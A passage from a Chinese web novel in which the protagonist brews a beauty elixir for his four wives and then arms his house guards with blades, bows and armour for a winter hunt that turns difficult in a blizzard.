随后,他心念一动,一桶清冽的灵泉水出现在手边,缓缓注入陶瓮之中。
当泉水与药泥混合的瞬间,一股更加沁人心脾的异香升腾而起,从缸盖的缝隙中丝丝缕缕地溢出,仿佛能洗涤人的灵魂。
“嗷呜?”
角落里,正趴在稻草堆上晒着太阳打盹的团子,鼻子忽然猛地抽动了两下。
它那双半眯着的金色眼眸瞬间睁开,四下扫视,最后,目光死死地锁定在了院子中央那口大缸上。
一股让它狼魂都为之颤抖的极致幽香,正丝丝缕缕地从缸口飘出,霸道地钻进它的鼻腔。
那香味,比它吃过最好吃的肉干香一百倍!比它闻过的最香的花香一千倍!
“嗷呜?”
团子试探性地叫了一声,从稻草堆里爬起来,迈着小碎步,鬼鬼祟祟地朝大缸凑了过去。
它绕着大缸转了两圈,越闻越觉得抓心挠肝,那双灵动的眼睛里,充满了毫不掩饰的渴望和贪婪。
它人立而起,两只前爪扒在冰凉的缸沿上,伸长了脖子,使劲往里瞅,喉咙里发出“咕咚咕咚”吞咽口水的声音,哈喇子都快流下来了。
“一边去。”
江夜正专心致志,察觉到旁边的小动作,头也没回,没好气地笑骂了一句,随手把它扒拉到一边。
团子被推得一个趔趄,差点摔倒,但它毫不在意,再次锲而不舍地凑了上来,用自己毛茸茸的脑袋,一个劲儿地蹭着江夜的小腿,喉咙里发出各种讨好、谄媚的“呜呜”声。
那小模样,活像个跟大人讨糖吃的小无赖。
“滚蛋,这没你的份。”江夜被它弄得哭笑不得,一脚把它轻轻踹开。
团子被踹了个屁股蹲,坐在地上,当场就懵了。
它看看一脸“无情”的主人,又看看那散发着致命诱惑的大缸,小小的眼睛里瞬间蓄满了水汽。
“呜……嗷呜呜……”
它低下头,用两只前爪捂住自己的脸,喉咙里发出无比委屈的呜咽声,小小的身体一抽一抽的,活像个被抢了心爱玩具的孩子。
“噗嗤……”
“哈哈哈……”
白梦夏姐妹和慕容晴再也忍不住,被它这戏精附体般的表演逗得前仰后合,清脆的笑声在院子里回荡,冲淡了那份酿酒时的神秘。
就连一向内向的林间雪,也忍不住掩着嘴,笑得眉眼弯弯,肩膀一耸一耸的。
江夜也是一阵无奈,懒得再理这个活宝,专心完成最后的工序,用特制的泥土将缸口密封起来。
“好了,接下来,就等它自己发酵了。”江夜拍了拍手,对众女说道。
……
时间一晃,又是数日过去。
这几天,整个江家小院都弥漫着一股若有若无的奇香,四女每天闻着这股香味,感觉皮肤都似乎变得更滑嫩了一些,对那“凝脂玉露”的期待,也攀升到了顶点。
终于,到了开坛的日子。
江夜将四女都叫到院
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中,在万众瞩目的期待下,他走上前,伸手拍开了缸口那层厚厚的封泥。
“啵——”
一声轻响,下一秒,一股比之前浓郁了百倍的奇异香气,如同被压抑了千年的火山,轰然爆发!
那香味,已经无法用言语来形容。
它比百花盛开更芬芳,比陈年佳酿更醇厚……香气瞬间溢满了整个院子,甚至朝着四面八方蔓延开去。
四女站在原地,大脑一片空白。
她们只是贪婪地呼吸着这股香气,就感觉自己仿佛置身于云端仙境,浑身上下每一个细胞都在欢呼雀跃,一种前所未有的幸福感和满足感,从心底油然而生。
江夜看着她们痴迷的模样,微微一笑,取过早已备好的玉杯,为四女各自斟了一小杯。
那酒液并非透明,而是呈现出一种半透明的乳白色,在阳光下,仿佛流动的玉髓,光华内敛,美轮美奂。
四女小心翼翼地端起酒杯,先是将杯子凑到鼻尖,轻轻一嗅。
仅仅是这一下,她们就感觉自己快要醉倒在这极致的芬芳里,浑身的毛孔都舒张开来,说不出的惬意。
白梦夏最先端起酒杯,看着杯中那宛如艺术品般的液体,红唇轻启,浅尝了一小口。
只一瞬间,她那双温柔似水的美眸,骤然瞪圆。
清甜、甘冽、醇厚……无数种难以言喻的美妙滋味在舌尖轰然炸开,层层叠叠,仿佛有无数看不见的花朵在味蕾上瞬间绽放。那滋味顺着喉咙滑下,留下一道温润的轨迹,满口都是挥之不去的馥郁芬芳。
她脸上不自觉地浮现出极致的享受与陶醉,整个人都好似要融化在这琼浆玉液之中。
慕容晴、白梦秋和林间雪见状,哪里还忍得住,也纷纷学着她的样子,将杯中玉露送入口中。
下一秒,三张绝美的俏脸上,都露出了和白梦夏如出一辙的陶醉神情。
“这……这是什么神仙味道!”慕容晴一双凤眸中满是震撼,向来豪爽的她,此刻也找不出任何词汇来形容这种极致的味觉体验。
酒液入腹,一股温润滋养的暖流,与异虎神酒的霸道刚猛截然不同,它就像最温柔的春雨,悄无声息地扩散至四肢百骸,滋润着身体的每一个角落。
四女都感觉自己像是被泡在了最顶级的温泉之中,从内到外,都透着一股难以言喻的舒泰与暖意。
第142章 仙露,仙女
她们陶醉的神情,看得一旁的团子急得快要原地飞升。
那股让它狼魂颠倒的香味,此刻正从江夜手中的酒壶里丝丝缕缕地散发出来,比从缸里闻到的还要诱人百倍!
它急得“嗷呜嗷呜”乱叫,绕着江夜的腿疯狂打转,一会用脑袋去蹭白梦夏的裙角,一会又伸出爪子去够慕容晴的衣袖,毛茸茸的尾巴摇成了残影。
那副抓心挠肝、上蹿下跳的模样,活像个看着别人吃糖、自己却一颗都捞不着的受气小媳妇。
江夜被它这活宝样逗得直笑,没好气地骂道:“滚一边去,这是给女人喝的,你个公的凑什么热闹。”
“噗嗤……”
慕容晴第一个被逗笑,随即,白梦夏姐妹和林间雪也忍俊不禁,院内原本有些虚幻的气氛,瞬间变得活泼而真实。
就在这时,一直低着头的林间雪,无意间看到了自己端着杯子的手,突然发出一声短促的惊呼。
“怎么了?”白梦秋关切地问。
林间雪没有回答,只是死死地盯着自己的双手,身体微微颤抖,眼中满是难以置信。
众女好奇地循着她的视线看去,下一秒,她们的呼吸也跟着一滞。
只见林间雪那双因常年劳作而略显粗糙的手,此刻竟像是被一双无形的手重新雕琢过一般。
皮肤变得白皙细腻,纹理清晰可见,却再也找不到一丝粗糙的痕迹,在阳光下,竟泛着一层莹润的光泽,宛如上好的羊脂美玉。
这哪里还是一双农家妇人的手?分明是十指不沾阳春水的千金小姐才配拥有的玉手!
“这……这……”林间雪嘴唇哆嗦着,一个字也说不出来。
白梦夏和白梦秋也连忙低头看向自己的手,随即,两声压抑不住的惊呼同时响起。
她们的手本就保养得不错,可此刻,却像是被剥了壳的鸡蛋,细腻光滑,白皙得几乎透明,连皮下的淡青色血管都若隐若现,美得让人心颤。
“我的天……”慕容晴也瞪大了眼,看着自己那双常年握刀舞剑、布着薄茧的手,此刻竟也变得柔嫩光滑,仿佛从未握过任何兵器。
这凝脂玉露的效果,未免也太霸道了!
“不止是手!”白梦秋忽然抬起头,一双水灵灵的大眼睛死死盯着姐姐白梦夏的脸,声音都带着颤音,“姐姐,你的脸……”
四女如梦初醒,连忙互相打量起来。
这一看,所有人都呆住了。
彼此的肌肤,都以一种肉眼可见的速度,变得更加莹润、光洁、毫无瑕疵。那是一种由内而外散发出的光泽,仿佛肌肤之下有月华在流转,吹弹可破,嫩得几乎能掐出水来。
每一个人的容貌,都在这短短片刻,拔高了不止一个层次!
“镜子!”
慕容晴反应最快,她一个箭步就冲回了自己屋里,片刻后,又风风火火地抱着一面半人高的铜镜冲了出来,“砰”的一声立在院子中央。
当看清镜中那个容光焕发、美艳得几乎不似凡人的自己时,她彻底呆住了。
镜中的女子,眉眼依旧是她熟悉的模样,但那张脸,却像是被天底下最高明的画师用颜料重新描绘过一般。肌肤胜雪,光彩照人,一双凤眸流光溢彩,顾盼之间,竟带着一股勾魂夺魄的媚意。
白梦夏姐妹和林间雪也挤到镜前。
当三张绝美的脸庞同时映入铜镜时,整个小院仿佛都亮了几分。
她们看着镜中那个美得让人窒息的自己,集体石化,大脑一片空白。
林间雪伸手,颤抖地抚摸着自己的脸颊,那滑腻如丝缎般的触感,让她感觉自己仿佛在做梦。镜中的她,褪去了往日的憔悴,眉眼间那股独有的妩媚被彻底激发出来,眼波流转,风情万种,连她自己看着都觉得心跳漏了一拍。
白
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梦夏和白梦秋这对姐妹花,本就是倾国倾城的容貌,此刻更是美得惊心动魄。一个温婉如水,一个娇俏如火,站在一起,当真是“巧笑倩兮,美目盼兮”,任何言语在她们的美貌面前都显得苍白无力。
“这……这是我吗?”白梦秋喃喃自语,伸手捏了捏自己滑嫩的脸蛋,眼中满是狂喜与不敢置信。
“夫君……”
白梦夏最先从极致的震惊中回过神来,她缓缓转过身,一双温柔似水的美眸,就那么一眨不眨地看着江夜。
眼眶不知不觉间已经泛红,里面没有震惊,没有狂喜,只有一片浓得化不开的柔情与感激。
青春永驻,容颜不老。
这是何等逆天的神物!
而这个男人,却毫不犹豫地将它给了她们。
下一秒,仿佛是心有灵犀一般,四女动了。
慕容晴最是直接,她一个虎扑,直接跳到了江夜身上,像只八爪鱼一样紧紧挂住他,滚烫的红唇不由分说地就印了上去。
白梦夏和白梦秋也一左一右地围了上来,踮起脚尖,将自己带着酒香和体香的吻,或温柔、或羞涩地印在江夜的脸颊上,脖颈上。
就连一向怯懦的林间雪,此刻也鼓起了平生最大的勇气,她红着脸,凑上前,轻轻地在江夜的唇角啄了一下,随即又像受惊的小鹿般飞快退开,一张俏脸红得快要滴出血来。
一时间,感谢的话语全都堵在了喉间,化作一个个或温柔、或热烈、或羞涩的吻,雨点般落在江夜的身上。
江夜被这突如其来的温香软玉彻底包围,鼻尖充斥着四种截然不同却又完美交融的醉人馨香,感受着脸颊和唇上那柔软湿润的触感,只觉得整个人都快要飘到云端。
他哈哈大笑起来,张开双臂,将四位绝色佳人紧紧拥入怀中,心中爽到了极点。
大丈夫生于天地间,当如是也!
第143章 万斤豪言
第二天日上三竿,江夜才扶着墙,慢悠悠地从卧房里走出来。
身后,是四张容光焕发、美得冒泡的绝色俏脸,正掩着嘴,眉眼弯弯地偷笑。
昨夜的温存太过醉人,饶是他如今的体魄,也感觉腰眼处传来一阵阵酸麻。
这凝脂玉露的效果是逆天,可这后劲儿,也着实要命。
江夜揉了揉腰,没好气地瞪了她们一眼,换来的却是四道更加娇媚的白眼,勾得他心头又是一阵火热。
他不敢再看,落荒而逃般地走向院外的训练场。
刚到训练场,一股冲天的煞气便扑面而来,伴随着整齐划一的暴喝声。
“喝!哈!”
村口的大片空地上,二十名护院正赤着上身,在凛冽的寒风中进行着队列训练。
不过短短一个月,这群原本憨厚朴实的庄稼汉子,已然脱胎换骨。
他们古铜色的皮肤上,肌肉线条贲张,充满了**性的力量感。
每一个踏步,每一次挥拳,都整齐划一,带着一股一往无前的悍勇之气。
尤其是他们的眼神,早已褪去了农民的温顺和茫然,取而代之的是一种狼一般的锐利与凶狠。
江夜负手而立,看着眼前这一幕,嘴角勾起一抹满意的弧度。
这才是他想要的力量。
“主人!”
王囤眼尖,第一时间看到了江夜,立刻高声喝令队伍停下。
二十名护院“唰”的一声立正,动作标准得如同一个人,随即齐刷刷地将目光投向江夜,眼中是毫不掩饰的狂热与崇拜。
江夜摆了摆手,示意他们继续,自己则搬了张椅子,悠闲地坐在一旁观看。
很快,就到了午饭时分。
白梦夏姐妹和林间雪、慕容晴四女,准时提着几个巨大的食盒,说说笑笑地走了过来。
食盒打开,浓郁的肉香瞬间霸道地席卷了整个场地。
大盆的红烧肉炖得油光锃亮,肥瘦相间,大碗的肉汤上飘着一层金黄的油花,还有小山一样高的白米饭,光是看着就让人食指大动。
护院们个个双眼放光,喉头疯狂滚动,肚子里传来一阵“咕噜咕噜”的雷鸣。
王囤指挥着众人排队,将饭菜一份份分下去,汉子们接过饭碗,脸上都洋溢着幸福的傻笑。
就在护院们狼吞虎咽时,林间雪却走到了江夜身边,白皙的俏脸上带着一丝忧虑,她压低声音,轻声说道:“夫君,护院队的食量太大了,家里储备的肉干和腊肉,正在飞速消耗,恐怕……撑不了几天了。”
她的声音虽轻,但在场的护院们哪个不是身体素质远超常人的,一个个听得清清楚楚。
端着饭碗的动作瞬间僵住,脸上的笑容也凝固了。
王囤第一个反应过来,他端着那碗堆成小山的红烧肉,脸上满是愕然和愧疚,大步走到江夜面前,“噗通”一声单膝跪地:“主人,都是我们没用,吃得太多了!从明天起,我们不吃肉了,喝粥就行!”
“对!主人,我们喝粥就行!”
“能跟着主人,天天吃白米饭都是天大的福分了,哪敢再奢求顿顿有肉!”
其余的护院也纷纷放下碗筷,齐刷刷地跪了下来,满脸羞愧地表着忠心。
江夜看着眼前这一幕,心中划过一丝暖流。
他伸手,将林间雪微凉的小手握在掌心,轻轻拍了拍,示意她安心。
随即,他站起身,目光扫过眼前这二十个单膝跪地、眼中满是诚恳的汉子。
他没有说话,只是静静地看着,直到所有人都安静下来,江夜才朗声开口:
“跟着我江夜,别的我不敢保证,但肉,管够!”
“都给我站起来,把饭吃了!吃不饱,哪有力气干活?哪有力气保护我的家人?”
他顿了顿,看着众人抬起的惊愕脸庞,嘴角一咧,露出一抹张扬的笑意。
“明天,所有人,带上家伙,全队进山!”
“进行第一次实战训练——冬猎!”
“咱们的目标不大,”江夜伸出一根手指,在众人疑惑的目光中,缓缓说道,“先弄个……上万斤肉回来,把仓库给我填满了!”
上……上万斤?!
整个训练场,瞬间死寂。
所有护院都愣在原地。
万斤肉?那是什么概念?整个稻花村一年的猎物加起来,都未必有这个数!更何况还是在这大雪封山、鸟兽绝迹的寒冬?
短暂的死寂之后,人群中不知是谁先倒吸了一口凉气,随即,整个队伍轰然炸锅!
“万斤!我的天!”
“主人说的是真的吗?
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我们……我们真的要去猎一万斤肉?”
那不是惊吓,而是极致的兴奋!
在他们心中,江夜就是无所不能的神!主人说能行,那就一定能行!
一旁的慕容晴听着江夜的豪言,再看看护院们狂热的模样,一双凤眸瞬间亮起,仿佛有两簇火焰在燃烧。
她几步走到江夜面前,英姿飒爽地一扬下巴,战意盎然地说道:“一万斤?好大的口气!算我一个,江夜,明天咱们比比,看谁猎的猎物多!”
江夜看着她那副跃跃欲试的娇俏模样,哈哈大笑:“好!谁输了,晚上可得听对方的!”
慕容晴闻言一愣,随即俏脸一红,啐了一口,美眸中却满是笑意。
这个消息,像是长了翅膀,不到半个时辰,就传遍了整个稻花村。
村口的大槐树下,几个上了年纪的老猎户正聚在一起抽着旱烟,听闻这个消息后,一个个面面相觑,随即不约而同地摇了摇头。
“唉,江家这小子,还是太年轻了。”一个脸膛黝黑的老猎户,磕了磕烟斗,感叹道,“今年的雪下得邪乎,连着几场大雪,山都快封平了。野兽要么冻**,要么就躲进最深的老林子里不出来,这冬猎,比往年可难上十倍不止。”
“可不是嘛!”另一个缺了门牙的老头附和道,“还上万斤肉……嘿,他当山里的猎物是地里的大白菜,一窝一窝等着他去收呢?老汉我猎了一辈子,这光景进山,能弄回百十来斤,都算是祖坟冒青烟了!”
“年轻人,不知天高地厚,总要栽个跟头才知道厉害。”
众人皆是附和,言语间满是对江夜这“豪言壮语”的不看好,认为他太过年轻气盛,这次非要空手而归,栽个大跟头不可。
王翠花恰好挎着篮子路过,听到这些议论,立马凑了过来,撇着嘴,阴阳怪气地开了腔:
“什么年轻气盛,我看他就是打肿脸充胖子!真当自己是山神老爷了?还一万斤肉,我看他一根猪毛都别想带回来!”
她脸上满是幸灾乐祸的表情,仿佛已经看到江夜带着一群人灰头土脸回村的场景,继续恶毒地咒骂着:“就让他败,这么个败家法,看他那点家底能撑几天!最好进山遇到狼群,把他们全给叼了去,那才叫报应!”
第144章 谢主人赐神兵
王囤听着村里那些风言风语,一张黝黑的脸膛气得通红。
训练结束,他汇报完训练进程后,终是没忍住,将那些老猎户和王翠花的闲言碎语一五一十地说了,脸上满是愤懑。
“主人,他们……他们就是嫉妒!说您不知天高地厚,还咒您……”
江夜正靠在椅子上,闭目养神,听完王囤气冲冲的汇报,眼皮都未曾抬一下,只是淡淡地“嗯”了一声,仿佛那些刺耳的议论不过是几声无关紧要的犬吠。
“嘴长在别人身上,由他们说去。”江夜的声音平静无波,“你去把护院队都召集起来,到院里集合,把前些天我打造的东西发下去。”
王囤见江夜毫不在意,心中的火气也莫名叫平息了大半。是啊,跟一群没见识的泥腿子置气有什么用?主人的本事,又岂是他们能够想象的!
他用力点点头,很快二十名护院就动作整齐划一地跟着他回到了江夜家的院子里。
院中,几个沉重的大木箱早已被抬了出来,箱盖紧闭,透着一股神秘。
护院们列队站好,看着那几个箱子,眼中满是好奇和期待。
江夜站起身,对王囤示意。
王囤上前,在众人期待的目光中,一把掀开了最前面的箱盖。
“唰!”
一瞬间,一片耀眼的寒光,在冬日苍白的阳光下骤然绽开,晃得所有人下意识地眯起了眼睛。
当他们再次睁开眼时,院子里响起一片倒吸凉气的声音。
箱子里,整齐地码放着二十柄崭新的制式佩刀!
那刀身线条流畅,通体泛着森冷的寒芒,一看便知是百炼精钢打造,锋锐无匹。
刀柄缠着防滑的黑布,刀鞘古朴厚重,整齐划一的制式,透着一股铁血肃杀之气。
王囤又接连打开了另外几个箱子。
旁边的箱子里,赫然是二十把通体黝黑的强弓,弓身坚韧,充满了**性的力量感,旁边还配着一捆捆羽翎整齐的箭矢。
而在最后一个箱子里,竟是二十套用上好牛皮鞣制而成的皮甲,针脚细密,厚实坚固,关键部位还镶嵌着铁片,防护力惊人!
整个院子死一般的寂静,只剩下汉子们粗重急促的喘息声。
他们都是庄稼汉出身,这辈子见过最好的兵器,恐怕就是村里老猎户那把用了几十年的豁口猎刀。何曾见过如此精良的全套装备!
人群中,一个名叫李铁牛的护院,双眼死死地盯着箱中的佩刀,身体不受控制地剧烈颤抖起来。他早年曾在县城的铁匠铺当过几年学徒,自认对兵器还算有几分眼力。
他颤抖着伸出手,小心翼翼地拿起一柄佩刀。
刀一入手,李铁牛便浑身一震,失声惊呼:“这……这刀!好完美的配重!这钢口……这锋刃的寒光!天哪!这……这比县衙里官差老爷们的佩刀,还要精良数倍不止!”
此言一出,如同一块巨石砸入平静的湖面。
众人更是倒吸一口凉气,看向那满箱兵器的眼神,彻底从震撼变为了狂热。
官府的兵器,在他们这些平头百姓眼中,已经是遥不可及的神物了。而主人随手拿出来的,竟然比官府的制式兵器还要好上数倍?
这是何等的手笔!何等的实力!
江夜对众人的反应很满意,他神情淡然,对王囤示意:“发下去吧,每人一套,熟悉一下自己的家伙。”
王囤这才如梦初醒,他压下心中的惊涛骇浪,开始将这些神兵利器一一分发下去。
护院们一个个激动得满脸通红,他们颤抖着双手,接过属于自己的佩刀、强弓和皮
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甲。冰冷的刀身传来惊人的质感,坚韧的弓弦蕴含着恐怖的力量,厚实的皮甲给予了他们前所未有的安全感。
他们小心翼翼地抚摸着这一切,感觉自己就像在做一场不真实的梦。
就在前些天,他们还是一群连饭都吃不饱的庄稼汉,而现在,他们不但顿顿有肉吃,更是装备上了连官差都羡慕不来的神兵利器!
这一切,都是眼前这个神情淡漠的年轻人赐予的!
“噗通!”
王囤将崭新的佩刀高高举过头顶,双膝重重地砸在冰冷的地面上,用尽全身力气,嘶声力竭地吼道:“谢主人赐神兵!”
他这一跪,仿佛一个信号。
“噗通!噗通!噗通!”
院子里,二十名汉子齐刷刷地单膝跪地,他们高举着手中的佩刀,对着江夜重重一拜,眼中燃烧着的是死士般的狂热与忠诚。
“谢主人赐神兵!”
二十人的怒吼汇成一股洪流,声浪震天!
万斤肉?
在这一刻,再也没有任何人怀疑江夜的话。
别说一万斤,就算主人让他们去屠龙,他们也敢跟着冲上去!有这样的主人,有这样的神兵,何愁大事不成!
江夜坦然受了这一拜。
他要的,就是这样的效果。
一支没有信仰和归属感的队伍,不过是一盘散沙。而现在,他就是这支队伍唯一的信仰!
他上前一步,亲手将王囤扶了起来,目光如电,扫过眼前一张张激动的脸庞。
“都起来!”
“明日,卯时!全员集合!”
“进山!”
“吼!”
“进山!进山!进山!”
二十名护院齐声怒吼,他们挥舞着手中的佩刀,声浪一波高过一波,震得整个稻花村都嗡嗡作响。
第145章 这是乡下农户?
次日,天色微明,细碎的雪花又开始洋洋洒洒地飘落。
江夜家的院子里,却是一片火热。
二十名护院已经全副武装,整齐列队。
他们身上是厚实的牛皮甲,腰间挎着寒光闪闪的制式佩刀。仅仅是站在那里,一股由内而外散发的铁血煞气便扑面而来,再也看不到半点昔日庄稼汉的影子。
江峰也站在一旁,脸上满是按捺不住的兴奋。
卧室里,白梦夏正仔细地为江夜整理着衣领,柔声叮嘱,眼里的担忧藏也藏不住。
“夫君,山里雪大,万事小心。”
“知道了。”江夜笑着揉了揉她的头,又看向一旁眼眶微红的林间雪和白梦秋,“放心,就当是出去遛个弯,打些野味回来给你们加餐。”
他话说得轻松,可三个女孩脸上的忧色却丝毫未减。
“嗷呜!”
团子可没那么多愁善感,它兴奋地在江夜脚边绕着圈子,不时用头去蹭江夜的腿,喉咙里发出催促的低吼,一副迫不及待要去大展身手的模样。
江夜被它逗笑,对依依不舍的四女挥了挥手,随即转身,面色一肃。
“出发!”
一声令下,二十一人动作整齐划一,转身踏步。沉重而有力的脚步声汇成一道,踏着积雪,浩浩荡荡地向村外走去。
不远处的墙角后,王翠花探出个脑袋,看着那支威风凛凛的队伍,压低了声音,恶毒地诅咒:“呸!装模作样!还想猎一万斤肉,我看你们空着手回来!最好在山里遇到熊瞎子,把你们全给拍死!”
“你这张破嘴就不能说点好的!”一旁的王大壮听得心烦,忍不住骂了一句“人家现在是什么身份?你还敢咒他?真想全家都跟王大虎一样,被狼叼了去?”
王翠花眼睛一瞪:“我说什么了?他有那本事吗?还一万斤,我看他……”
她话没说完,王大壮已经黑着脸,扭头回家了,懒得再听她放屁。
……
大山入口处。
慕容晴一身火红的劲装,外罩一件白色的狐裘披风,衬得她愈发英姿飒爽。
她身后,十几名凤啸寨的精锐同样持刀挎弓,静静等候。
当看到江夜那支队伍踏着整齐的步伐,从远处雪地里出现时,凤啸寨的众人集体一愣。
他们都是在刀口上舔血的悍匪,眼光毒辣。只一眼,他们就看出了这支队伍的不同寻常。
那不是一群乌合之众,那统一的精良装备,那整齐划一的步伐,尤其是那股子沉默却逼人的煞气,让他们这些自诩精锐的山匪,都感到了一丝莫名的压力。
这哪里像是一群乡下农户,这分明是一支训练有素的军队!
几个凤啸寨的汉子下意识地交换了一个眼神,皆从对方眼中看到了惊异。
这江爷……到底是什么来头?这才多久,竟然就拉起了一支如此精锐的队伍!
慕容晴的美眸中也闪过一丝惊艳,她看着江夜,再看看他身后那支队伍,心中的那点好胜心,不知不觉间又炽热了几分。
两支队伍汇合,没有过多寒暄。
江夜对着慕容晴一点头,慕容晴一扬下巴,队伍便一前一后,正式踏入了茫茫雪山。
山林里,万籁俱寂。
厚厚的积雪覆盖了一切,往日里野兽出没的痕迹,此刻连半点都寻不到。除了风声和众人踩雪的“咯吱”声,再无其他声响。
凤啸寨的人都是山里讨生活的好手,他们散开队形,经验老道地搜寻着任何可能的踪迹。可一个时辰过去了,两个时辰过去了,别说大型的野兽,就连一只野兔、一只山鸡的影子都没看到。
起初的兴奋和高昂的战意,渐渐被消磨殆尽。
“**,这鬼天气,畜生都死绝了吗?”一个凤啸寨的汉子忍不住低声骂了一句。
其他人虽然没说话,但脸上也都带上了几分焦躁和失望。
江夜手下的护院们,也渐渐有些沉不住气了。
他们对江夜有着盲目的信任,可眼前这死寂的山林,却在无情地打击着他们的信心。
万斤的豪言壮语还回荡在耳边,可现实却是连根**都找不到。
队伍里的气氛,不免有些沉闷。
唯有江夜,从始至终,神情没有丝毫变化。
他从始至终都神情淡然,不急不躁地走在队伍最前面,仿佛不是来打猎,而是在雪中散步。
他那双深邃的眸子,看似随意地扫过四周,却将周围每一处地形,每一棵树木的朝向,每一片雪地的厚薄,都清晰地映入脑海。
那份从容淡定,与周围人的焦急形成了鲜明的对比。
就在队伍里的气氛愈发沉闷之时,一直跟在江夜脚边,懒洋洋地甩着尾巴的团子,突然停下了脚步。
它那银白的小鼻子在空中猛地抽动几下,灵动的金色眼眸瞬间一亮。
“嗷!”
一声低吼,团子化作一道银色的闪电,没有丝毫征兆地窜入了左侧的密林深处。
“跟上。”
江夜的声音平静无波,仿佛早已料到。
他甚至没有多余的动作,只是一个眼神,王囤带领的二十名护院便瞬间转向,悄无声息地跟了上去,动作整齐划一得令人心悸。
“走!”慕容晴一愣,随即反应过来,立刻对自己的人一挥手,急忙跟了过去。
穿过一片没过膝盖的雪地,众人很快就在一片低矮的灌木丛不远处,看到了停下来的团子。它压低了身子,喉咙里发出阵阵充满威胁的低吼,死死地盯着前方的灌木丛。
江夜脚步未停,只是随意地打了个手势。
下一瞬,让凤啸寨众人头皮发麻的一幕发生了。
那二十名护院,仿佛得到了某种无声的指令,在瞬间散开,悄无声息地占据了灌木丛前方半圆形的有利地形。
张弓、搭箭、拉弦,二十个人的动作如行云流水,标准得如同一个人在重复,整个过程竟没有发出一丝一毫多余的声响。
森然的杀机,无声地笼罩了那片灌木丛。
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>一个山匪刚想开口询问,江夜的手已经轻轻落下。
“咻——”
没有惊天动地的声响,只有一片箭矢划破空气时汇聚成的、轻微而又致命的破风声。
二十支黝黑的箭矢,精准无比地覆盖了那片看似空无一物的灌木丛。
灌木丛中传来一阵短暂而剧烈的扑腾声,随即,一切重归死寂。
“这……这就完了?射的啥啊?”一个凤啸寨的汉子满脸茫然,小声嘀咕。
王囤没有说话,只是对两名护院示意。两人走上前,伸手拨开灌木,然后开始往外拖拽。
一只,两只,三只……
一只只肥硕的雪兔和色彩斑斓的野鸡,被接二连三地拖了出来,在洁白的雪地上堆成了一座小山。
整个场面,死一般的寂静。
凤啸寨的众人,全都石化在原地,眼珠子瞪得溜圆。
一个山匪下意识地伸出手指,哆哆嗦嗦地点着数:“……十五,十六,十七……我的老天爷……”
他们骇然地看着那堆积如山的猎物,又看看那些面无表情收起弓箭的护院,最后,目光不约而同地汇聚到了那个正悠闲地揉着团子脑袋的年轻人身上。
这**哪里是打猎?
这分明是收割!
慕容晴感觉自己的心脏都在不受控制地狂跳。
她自诩箭术不凡,可也绝做不到如此地步。
隔着灌木丛,看不见目标,仅凭一只小兽的指引,便能将一整个兔子窝和鸡群一网打尽,且箭无虚发!
她看着江夜那张云淡风轻的侧脸,心中那点好胜心,被一种名为“震撼”的情绪彻底压了下去。
而接下来的行程,队伍里的气氛更是直接被点燃了。
“嗷呜!”团子再次化作银光窜出。
江夜手势一变。
护院队立刻分作两翼,悄然包抄。
林中,一只正在啃食树皮的傻狍子还没反应过来,三支箭矢已经从三个不同的方向,呈品字形钉入了它的身体,巨大的冲击力让它连悲鸣都来不及发出,便轰然倒地。
又行出数里,团子在一处山坡上停下,对着下方一片稀疏的林地发出低吼。
江夜抬手,做了个下压的手势。
这一次,护院队没有立刻射击,而是分出一半人,悄无声息地绕到了更远处的下风口,形成了交叉火力。
随着江夜的手势落下,两面箭雨,一前一后,呼啸而至。
林中受惊的几只野鹿,刚从第一波箭雨的死亡范围里逃开,一头就撞进了第二波箭雨的绝杀陷阱。
凤啸寨的人已经彻底麻木了。
慕容晴也沉默了。
她那双明亮的凤眸,几乎就没离开过江夜的身上。
她看着他用最简单的手势,指挥着那支队伍,又完成一次教科书般的猎杀。他仿佛不是在指挥人,而是在指挥自己的手指,精准,高效,冷静得可怕。
她和江夜那个“看谁猎得多”的赌约,此刻回想起来,简直就像一个天大的笑话。
第146章 前方有大家伙
就在众人信心爆棚,向更深的山林进发时,天色却骤然阴沉下来。
刚刚还只是星星点点的雪花,转眼间便化作了遮天蔽日的鹅毛大雪。
凛冽的寒风卷着雪沫,刮在每个人的脸上。
山林里的能见度急剧下降,三丈之外便是一片白茫茫,连山峦的轮廓都模糊不清。
队伍行进的速度被迫慢了下来。
积雪已经没过了小腿,每一步都走得异常艰难,体力消耗是平日的数倍。
凤啸寨那十几个经验丰富的老手,脸上的轻松早已消失不见,取而代之的是一脸凝重。
他们不再搜寻猎物,而是频繁地抬头观察天色,不时交换着担忧的眼神。
江夜手下的护院队,虽然依旧保持着整齐的队形,纪律严明,但他们沉重的喘息声和额头渗出的汗珠,也暴露了体力的巨大消耗。
几个年轻些的汉子,脸上已经浮现出焦躁和不安,握着刀柄的手因用力而指节发白。
“不能再往里走了!”
慕容晴快步走到江夜身边,她抹了一把脸上的雪水,火红的劲装在风雪中格外醒目,俏脸上满是严肃。
“这种天气,再走下去,我们的脚印会被完全覆盖,到时候连回去的路都找不到!更糟的是山路可能会被彻底封死,必须立刻返回!”
她的话音刚落,一旁的江峰也满脸忧虑地附和:“是啊,小夜,晴寨主说得对。这山里的暴雪可不是闹着玩的,真被封在里面,神仙也难出去。”
只是他说这话的时候,目光忍不住瞟向队伍里那十几只被捆扎好的野鹿和傻狍子,眼中满是浓浓的惋惜。
万斤的豪言壮语还言犹在耳,可眼下这点收获,连一千斤都不到。就这么回去,实在是不甘心。
不只是他,队伍里所有人都停下了脚步,齐刷刷地看向江夜。
他们的眼神中,交织着对暴雪的担忧和对任务失败的不甘,刚刚还高涨的士气,此刻肉眼可见地低落下去。
风雪中,唯有江夜,神情淡然得仿佛事不关己。
他抬头看了看愈发狂暴的风雪,随即目光垂下,落在了不远处一片被新雪覆盖的地面上。
在那几乎与纯白融为一体的雪地里,有几个极其微小、几乎无法察觉的凹陷,以及几处被拱翻过露出底下黑土的痕迹。
那是某种大型食草动物留下的,而且时间很新,就在这场暴雪开始之前。
他的目光顺着痕迹的走向,缓缓扫向左前方一个被风雪彻底掩盖的山坳深处,眼底闪过一丝不易察觉的精光。
越是这种天气,野兽越会**在背风的山坳里躲避。
江夜嘴角微不可察地勾了一下,他摇了摇头,伸手指向那个被风雪笼罩的山坳方向。
“别急。有大家伙。”
此言一出,全场皆寂。
所有人都愣住了,顺着他手指的方向望去。
入目所及,除了白茫茫一片,还是白茫茫一片。
狂风卷着雪粒,形成一道道白色的幕墙,别说大家伙,连根树枝都看不清楚。
“小夜,你……你看到什么了?”江峰使劲揉了揉眼睛,满脸都是疑惑。
慕容晴也眯起美眸,仔细地盯着那个方向,可看了半天,除了风雪,什么也没发现。
